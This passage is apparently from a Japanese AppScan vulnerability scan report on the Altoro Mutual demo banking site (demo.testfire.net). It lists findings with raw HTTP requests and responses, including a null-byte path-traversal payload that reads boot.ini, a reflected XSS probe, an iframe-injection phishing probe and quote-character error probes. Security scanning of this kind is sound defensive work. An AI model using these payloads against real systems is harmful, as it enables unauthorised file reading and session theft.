### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- パラメーター 'uid' の値を 'uid' に設定します
- パラメーター 'passw' の値を 'passw' に設定します
- パラメーター 'btnSubmit' の値を 'btnSubmit' に設定します
- メソッド を 'GET' に設定します

**論拠:**

「テスト応答」と「オリジナルの応答」が同じである (つまり、アプリケーションが、照会で送信された本文のパラメーターを処理した) ため、テスト結果では脆弱性が示されていると考えられます。

**要求/応答:**

```
GET /bank/login.aspx? uid= 1234& passw= 1234& btnSubmit= Login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8825
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:54 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Online Banking Login
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual Login, login, authenticate"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch
...
```

## 問題 10 / 15

## [低] X-XSS-Protection ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3597 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/bank/login.aspx' に設定します

**論拠:**

AppScan は X-XSS-Protection 応答ヘッダーが欠落していることを検出しました。そのためクロスサイト・スクリプティング攻撃を許可するおそれがあります。

**要求/応答:**

```
GET /bank/login.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8729
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:03 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Online Banking Login
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual Login, login, authenticate"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch
...
```

## 問題 11 / 15

## [低] X-Content-Type-Options ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3605 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/bank/login.aspx' に設定します

**論拠:**

AppScan は X-Content-Type-Options 応答ヘッダーが欠落していることを検出しました。そのためドライブバイ・ダウンロード攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /bank/login.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8729
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:03 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Online Banking Login
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual Login, login, authenticate"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch
...
```

## 問題 12 / 15

## [低] Content-Security-Policy ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3608 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/bank/login.aspx' に設定します

**論拠:**

AppScan は Content-Security-Policy 応答ヘッダーが欠落していることを検出しました。そのため各種クロスサイト注入攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /bank/login.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8729
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:03 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Online Banking Login
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual Login, login, authenticate"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch
...
```

## 問題 13 / 15

## [情報] HTML コメントによる秘密情報の開示

| | |
|---|---|
| 問題: | 1364 |
| 重大度: | 情報 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます |
| 修正: | HTML コメントから秘密情報を削除します |

### バリアント 1 / 1

**論拠:**

AppScan が、秘密情報と思われるものを含む HTML コメントを検出しました。

**要求/応答:**

```
GET /bank/login.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8729
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:03 GMT


...
<li><a id="_ctl0_ctl0_Content_MenuHyperLink18" href="../default.aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<div class="fl" style="width: 99%;">

<h1>Online Banking Login</h1>

<!-- To get the latest admin login, please contact SiteOps at 415-555-6159 -->
<p><span id="_ctl0_ctl0_Content_Main_message" style="color:#FF0066;font-size:12pt;font-weight:bold;"></span></p>

<form action="login.aspx" method="post" name="login" id="login" onsubmit="return (confirminput(login));">
<table>
<tr>

...
...
<li><a id="_ctl0_ctl0_Content_MenuHyperLink18" href="../default.aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<div class="fl" style="width: 99%;">

<h1>Online Banking Login</h1>

<!-- To get the latest admin login, please contact SiteOps at 415-555-6159 -->
<p><span id="_ctl0_ctl0_Content_Main_message" style="color:#FF0066;font-size:12pt;font-weight:bold;"></span></p>

<form action="login.aspx" method="post" name="login" id="login" onsubmit="return (confirminput(login));">
<table>
<tr>

...
```

## 問題 14 / 15

## [情報] アプリケーション・エラー

| | |
|---|---|
| 問題: | 1368 |
| 重大度: | 情報 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | uid |
| リスク: | 秘密のデバッグ情報を収集することができます |
| 修正: | パラメーター値が期待される範囲とタイプであることを確認します。デバッグ・エラー・メッセージおよび例外を出力しないようにします。 |

### バリアント 1 / 3

**元の要求に以下の変更が適用されました:**

パラメーター 'uid' の値を '%27' に設定します

**論拠:**

アプリケーションが、秘密情報を公開する可能性のある未定義の状態を示すエラー・メッセージを返しました。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=%27 &passw=1234&btnSubmit=Login

uid=%27 &passw=1234&btnSubmit=Login

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:21 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>500 - Internal server error.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#he
...
```

## 問題 15 / 15

## [情報] アプリケーション・エラー

| | |
|---|---|
| 問題: | 1383 |
| 重大度: | 情報 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | passw |
| リスク: | 秘密のデバッグ情報を収集することができます |
| 修正: | パラメーター値が期待される範囲とタイプであることを確認します。デバッグ・エラー・メッセージおよび例外を出力しないようにします。 |

### バリアント 1 / 3

**元の要求に以下の変更が適用されました:**

パラメーター 'passw' の値を '%27' に設定します

**論拠:**

アプリケーションが、秘密情報を公開する可能性のある未定義の状態を示すエラー・メッセージを返しました。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=1234& passw=%27 &btnSubmit=Login

uid=1234& passw=%27 &btnSubmit=Login

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:22 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>500 - Internal server error.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#he
...
```

## [高] 問題 http://demo.testfire.net/default.aspx - 5

### 問題 1 / 5

### [高] 汚染 Null バイト Windows ファイルの取得

| | |
|---|---|
| 問題: | 1894 |
| 重大度: | 高 |
| URL: | http://demo.testfire.net/default.aspx |
| パラメーター: | content |
| リスク: | (Web サーバー・ユーザーのパーミッション制限がかけられている) Web サーバー上の任意のファイル (たとえばデータベース、ユーザー情報や設定ファイル) の内容を表示することができます |
| 修正: | アクセスされるファイルが仮想パスにあり、特定の拡張子を持つようにします。ユーザーの入力から特殊な文字を削除します。 |

#### バリアント 1 / 16

**元の要求に以下の変更が適用されました:**

パラメーター 'content' の値を '/../../../../../../../../../../../../boot.ini%00.htm' に設定します

**論拠:**

応答に「boot.ini」ファイルの内容が含まれていた
(つまり、リモート・ユーザーがサーバーからシステム・ファイルの内容をダウンロードできるようになる)
ため、テスト結果では脆弱性が示されていると考えられます。

**要求/応答:**

```
GET /default.aspx? content=/../../../../../../../../../../../../boot.ini%00.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=personal_deposit.htm
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 7257
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:14 GMT

...
ctl0_ctl0_Content_MenuHyperLink18" href="default.aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<span id="_ctl0_ctl0_Content_Main_lblContent">[boot loader]timeout=30default=multi(0)disk(0)rdisk(0)partition(1)¥WINDOWS [operating
systems] multi(0)disk(0)rdisk(0)partition(1)¥WINDOWS="Windows Server 2003, Enterprise" /fastdetect /bootlogo /noguiboot</span>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>

...
...
ctl0_ctl0_Content_MenuHyperLink18" href="default.aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<span id="_ctl0_ctl0_Content_Main_lblContent">[boot loader]timeout=30default=multi(0)disk(0)rdisk(0)partition(1)¥WINDOWS [operating
systems] multi(0)disk(0)rdisk(0)partition(1)¥WINDOWS="Windows Server 2003, Enterprise" /fastdetect /bootlogo /noguiboot</span>
```

```
</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>

...
```

## 問題 2 / 5

## [低] X-Content-Type-Options ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3600 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/default.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 21

**元の要求に以下の変更が適用されました:**

- パス を '/default.aspx' に設定します
- 照会ストリング を 'content=personal_loans.htm' に設定します

**論拠:**

AppScan は X-Content-Type-Options 応答ヘッダーが欠落していることを検出しました。そのためドライブバイ・ダウンロード攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /default.aspx ? content=personal_loans.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=personal_deposit.htm
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8045
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:47 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css" /><meta name="description" content="Altoro Mutual offers a broad range of commercial, private, retail and mortgage banking services to small and middle-market businesses and individuals."></head>
<body style="margin-top:5
...
```

## 問題 3 / 5

## [低] Content-Security-Policy ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3616 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/default.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 21

**元の要求に以下の変更が適用されました:**

- パス を '/default.aspx' に設定します
- 照会ストリング を 'content=personal_loans.htm' に設定します

**論拠:**

AppScan は Content-Security-Policy 応答ヘッダーが欠落していることを検出しました。そのため各種クロスサイト注入攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /default.aspx ? content=personal_loans.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=personal_deposit.htm
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8045
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:47 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css" /><meta name="description" content="Altoro Mutual offers a broad range of commercial, private, retail and mortgage banking services to small and middle-market businesses and individuals."></head>
<body style="margin-top:5
...
```

## 問題 4 / 5

## [低] X-XSS-Protection ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3617 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/default.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 21

**元の要求に以下の変更が適用されました:**

- パス を '/default.aspx' に設定します
- 照会ストリング を 'content=personal_loans.htm' に設定します

**論拠:**

AppScan は X-XSS-Protection 応答ヘッダーが欠落していることを検出しました。そのためクロスサイト・スクリプティング攻撃を許可するおそれがあります。

**要求/応答:**

```
GET /default.aspx ? content=personal_loans.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=personal_deposit.htm
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8045
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:47 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css" /><meta name="description" content="Altoro Mutual offers a broad range of commercial, private, retail and mortgage banking services to small and middle-market businesses and individuals."></head>
<body style="margin-top:5
...
```

## 問題 5 / 5

## [情報] サーバーのパス開示の可能性のあるパターンを発見

| | |
|---|---|
| 問題: | 3414 |
| 重大度: | 情報 |
| URL: | http://demo.testfire.net/default.aspx |
| リスク: | 攻撃者がさらなる攻撃を展開し、Web アプリケーションのファイル・システム構造についての情報を取得するのに役立つ可能性のある Web サーバーのインストールの絶対パスが取得できます |
| 修正: | お使いの Web サーバーまたは Web アプリケーションに対応するセキュリティー・パッチをダウンロードします。 |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- パス を '/default.aspx' に設定します
- 照会ストリング を 'content=inside_volunteering.htm' に設定します

**論拠:**

レスポンスがサーバー上のファイルの絶対パス/ファイル名を含んでいます。

**要求/応答:**

```
GET /default.aspx ? content=inside_volunteering.htm HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=inside_community.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8457
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:54 GMT

...
ion. In total, employees can acquire up to $5,000 each calendar year for their nonprofits or schools.</p><p>If you are a non-profit
organization, then help us help you. <a href="default.aspx?content=inside_contact.htm">Contact Altoro Mutual</a> for more information, or
download this <a href="file:// /C:¥ Documents¥JohnSmith¥VoluteeringInformation.pdf">Brochure</a></p></div></span>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id=
...
...
ion. In total, employees can acquire up to $5,000 each calendar year for their nonprofits or schools.</p><p>If you are a non-profit
organization, then help us help you. <a href="default.aspx?content=inside_contact.htm">Contact Altoro Mutual</a> for more information, or
download this <a href="file:// /C:¥ Documents¥JohnSmith¥VoluteeringInformation.pdf">Brochure</a></p></div></span>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id=
...
```

## [高] 問題 http://demo.testfire.net/search.aspx - 6

### 問題 1 / 6

### [高] クロスサイト・スクリプティング

| | |
|---|---|
| 問題: | 1387 |
| 重大度: | 高 |
| URL: | http://demo.testfire.net/search.aspx |
| パラメーター: | txtSearch |
| リスク: | ハッカーが正規のユーザーになりすまし、ユーザーのレコードを表示または改変したり、ユーザーとしてトランザクションを実行するのに使用することができる、カスタマー・セッションおよび Cookie を盗み出したり操作することができる可能性があります |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

#### バリアント 1 / 17

**元の要求に以下の変更が適用されました:**

'<script>alert(111)</script>' を パラメーター 'txtSearch' の値に注入しました

**論拠:**

Appscan によりスクリプト (ユーザーのブラウザーにページがロードされるときに実行される) が応答に正常に埋め込まれたため、テスト結果では脆弱性が示されていると考えられます。

**要求/応答:**

```
GET /search.aspx? txtSearch=<script>alert(111)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_checking.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7297
Content-Type: text/html ; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:58 GMT


...
spx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<div class="fl" style="width: 99%;">

<h1>Search Results</h1>

<p>No results were found for the query:<br /><br />
<span id="_ctl0_ctl0_Content_Main_lblSearch"><script> alert(111) </script></span></p>

</div>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id="_ctl0_ctl0_HyperLink6" href="default.aspx?c
...
...
spx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">
```

```
<div class="fl" style="width: 99%;">

<h1>Search Results</h1>

<p>No results were found for the query:<br /><br />
<span id="_ctl0_ctl0_Content_Main_lblSearch"><script> alert(111) </script></span></p>

</div>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id="_ctl0_ctl0_HyperLink6" href="default.aspx?c
...
```

## 問題 2 / 6

## [中] フレームからのフィッシング

| | |
|---|---|
| 問題: | 1370 |
| 重大度: | 中 |
| URL: | http://demo.testfire.net/search.aspx |
| パラメーター: | txtSearch |
| リスク: | 知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パラメーター 'txtSearch' の値を '1234%27%22%3E%3Ciframe+id%3D128+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E' に設定します

**論拠:**

テスト応答に URL「http://demo.testfire.net/phishing.html」へのフレーム/I
フレームが含まれていたため、テスト結果では脆弱性が示されていると考えられます。

**要求/応答:**

```
GET /search.aspx? txtSearch=1234%27%22%3E%3Ciframe+id%3D128+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_checking.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7335
Content-Type: text/html ; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:01 GMT

...
aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<div class="fl" style="width: 99%;">

<h1>Search Results</h1>

<p>No results were found for the query:<br /><br />
<span id="_ctl0_ctl0_Content_Main_lblSearch">1234'"> <iframe id=128 src= http://demo.testfire.net/phishing.html > ></span></p>

</div>

</td>
</tr>
</table>

</div>

<div id="footer" style="width: 99%;">
<a id="_ctl0_ctl0_HyperLink5" href="default.aspx?content=privacy.htm">Privacy Policy</a>
  |  
<a id="_ctl0_ctl0_HyperLink6" href="def
...
...
aspx?content=inside_careers.htm">Careers</a></li>
</ul>
</td>
<td valign="top" colspan="3" class="bb">

<div class="fl" style="width: 99%;">

<h1>Search Results</h1>
```

```
<p>No results were found for the query:<br /><br />
